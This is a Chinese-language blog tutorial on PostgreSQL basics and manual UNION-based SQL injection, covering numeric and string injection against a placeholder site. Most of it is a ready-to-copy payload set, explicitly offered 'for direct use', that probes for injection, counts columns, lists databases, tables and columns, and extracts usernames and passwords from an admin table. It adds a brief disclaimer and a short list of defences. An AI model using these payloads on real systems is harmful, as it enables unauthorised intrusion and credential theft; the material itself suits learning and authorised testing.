PostgreSQL(Postgres)数据库基础用法 + 数字型 + 字符型 完整联合注入实战

前言

PostgreSQL(简称 PG、Postgres) 是目前开源界最强大、企业级最常用的数据库之一,语法严谨、功能强大,在 Web 渗透测试中出现频率极高。

本文从零带你掌握 PostgreSQL 基础必备知识点 ,再完整讲解数字型、字符型联合注入全流程,一步步爆出库名、表名、字段名、数据,步骤超详细、新手也能看懂。

⚠️ 免责声明:本文仅用于网络安全合法学习、企业自身漏洞自查,严禁用于未授权渗透、非法攻击、数据窃取,违规后果自负!


一、PostgreSQL 数据库基础必学知识点

1.1 基础核心概念

  1. 数据库(Database):PG 独立的库,和 MySQL 库概念一致。
  2. 模式(Schema) :库下面的分类,默认是 public
  3. 用户 / 角色:登录账号,权限分普通用户、超级用户(superuser)。
  4. :存在 库.模式.表名 结构下。

1.2 注入核心系统表 & 函数(最重要)

PostgreSQL 没有 MySQL 的 information_schema 那么简单,但有固定系统表

  1. pg_database:查所有数据库名
  2. pg_tables:查所有表名
  3. information_schema.columns:查所有字段名
  4. current_database():当前数据库名
  5. version():数据库版本
  6. current_user:当前登录用户

1.3 PG 基础语法特点

表格

功能 PostgreSQL 语法
查询版本 SELECT version();
当前库名 SELECT current_database();
当前用户 SELECT current_user;
联合查询 UNION / UNION ALL
注释符 -- /* */
字符串 单引号 '
无表查询 可直接 SELECT 1,无需伪表

二、PostgreSQL 联合注入核心知识点

2.1 什么是联合注入

通过 UNION SELECT 拼接恶意查询,把结果显示在页面回显位,直接读取敏感数据。

2.2 两大注入类型

  1. 数字型:无单引号包裹
  2. 字符型:单引号包裹(最常见)

2.3 注入必备条件

  • 页面有回显位置
  • 后端无过滤、无预编译
  • UNION 前后字段数量必须一致
  • 字段类型尽量兼容(数字、字符串可混用)

三、PostgreSQL 完整联合注入实战(数字型 + 字符型)

统一环境假设

  • 原查询字段数:3 个
  • 页面存在显位
  • 注释符:-- (必须带空格)

第一部分:数字型联合注入

原理

后台 SQL:

sql

复制代码
SELECT id,title,content FROM news WHERE id=1

无单引号,直接注入。

完整步骤

1. 判断注入

plaintext

复制代码
http://xxx.com/news?id=1'

页面报 PG 错误 → 存在注入。

2. 判断字段数

plaintext

复制代码
http://xxx.com/news?id=1 ORDER BY 3-- 

3 正常,4 报错 → 3 个字段

3. 判断显位

plaintext

复制代码
http://xxx.com/news?id=-1 UNION SELECT 1,2,3-- 
4. 爆库名、表名、字段、数据

sql

复制代码
-- 版本
?id=-1 UNION SELECT 1,version(),3-- 

-- 当前库名
?id=-1 UNION SELECT 1,current_database(),3-- 

-- 所有数据库
?id=-1 UNION SELECT 1,datname,3 FROM pg_database-- 

-- 所有表名
?id=-1 UNION SELECT 1,tablename,3 FROM pg_tables WHERE schemaname='public'-- 

-- 字段名
?id=-1 UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='admin'-- 

-- 数据
?id=-1 UNION SELECT 1,username,password FROM admin-- 

第二部分:字符型联合注入(重点!实战最多)

核心原理

后台 SQL:

sql

复制代码
SELECT id,title FROM news WHERE name='test'

字符型固定格式:

plaintext

复制代码
?参数=xxx' 注入语句 -- 

规则:

  1. 单引号 ' 闭合前面
  2. 写注入语句
  3. -- 注释后面多余的单引号

字符型完整步骤

目标 URL:

plaintext

复制代码
http://xxx.com/news?name=test
1. 判断字符型注入

plaintext

复制代码
http://xxx.com/news?name=test'

报错 → 存在字符型注入。

2. 判断字段数

plaintext

复制代码
http://xxx.com/news?name=test' ORDER BY 3-- 
3. 判断显位

plaintext

复制代码
http://xxx.com/news?name=-1' UNION SELECT 1,2,3-- 
4. 字符型全套 Payload(直接复制用)

sql

复制代码
-- 版本
?name=-1' UNION SELECT 1,version(),3-- 

-- 当前库名
?name=-1' UNION SELECT 1,current_database(),3-- 

-- 所有库
?name=-1' UNION SELECT 1,datname,3 FROM pg_database-- 

-- 所有表
?name=-1' UNION SELECT 1,tablename,3 FROM pg_tables WHERE schemaname='public'-- 

-- 字段
?name=-1' UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='admin'-- 

-- 数据
?name=-1' UNION SELECT 1,username,password FROM admin-- 

四、数字型 & 字符型 Payload 对比表

表格

操作 数字型 Payload 字符型 Payload
检测注入 ?id=1' ?name=test'
查字段数 ?id=1 ORDER BY 3-- ?name=test' ORDER BY 3--
查显位 ?id=-1 UNION SELECT 1,2,3-- ?name=-1' UNION SELECT 1,2,3--
查库名 ?id=-1 UNION SELECT 1,current_database(),3-- ?name=-1' UNION SELECT 1,current_database(),3--

五、PostgreSQL 注入记忆口诀

单引号闭合,联合查询拼字段,注释结尾带空格


六、PostgreSQL 注入防御方案

  1. 使用预编译语句,杜绝 SQL 拼接
  2. 过滤单引号、UNION、SELECT 等关键字
  3. 数据库账号使用最小权限
  4. 关闭数据库错误回显
  5. 使用 WAF 拦截注入攻击

七、结尾

到这里,PostgreSQL 数据库基础 + 数字型、字符型联合注入 全套教程就给大家彻底讲完了!从基础语法、系统表,到手工爆库、爆表、爆字段、脱数据,全部一步一步讲得清清楚楚。

PostgreSQL 是现在 Web 安全最常考、最常用的数据库之一,学会它,你就掌握了渗透测试里又一核心技能!

如果这篇干货对你有帮助,一定记得点赞、收藏、关注博主

相关推荐
笃行35013 小时前
金仓数据库数据安全双防线:静态存储加密与传输加密实战
数据库
笃行35014 小时前
金仓数据库物理备份实战:sys_rman 全流程演练与误覆盖抢救
数据库
笃行35014 小时前
金仓数据库逻辑备份实战:从全库导出到 Schema 替换的完整闭环
数据库
冬奇Lab1 天前
每日一个开源项目(第142篇):android/skills - Google 官方 Android 开发 AI Skill 库
人工智能·开源·资讯
冬奇Lab1 天前
Skill 系列(06):Skill 工程化与治理——路由准确率 38%、压缩节省 76%
人工智能·开源·agent
SelectDB1 天前
阶跃星辰基于 SelectDB 构建 PB 级 Agent 可观测平台
大数据·数据库·aigc
这个DBA有点耶2 天前
GROUP BY优化全解:如何写出既不丢数据又飞快的分组查询
数据库·mysql·架构
掉头发的王富贵2 天前
【StarRocks】极限十分钟入门StarRocks
数据库·sql·mysql
Nturmoils2 天前
WHERE 条件别凭习惯写,常用查询先跑一遍
数据库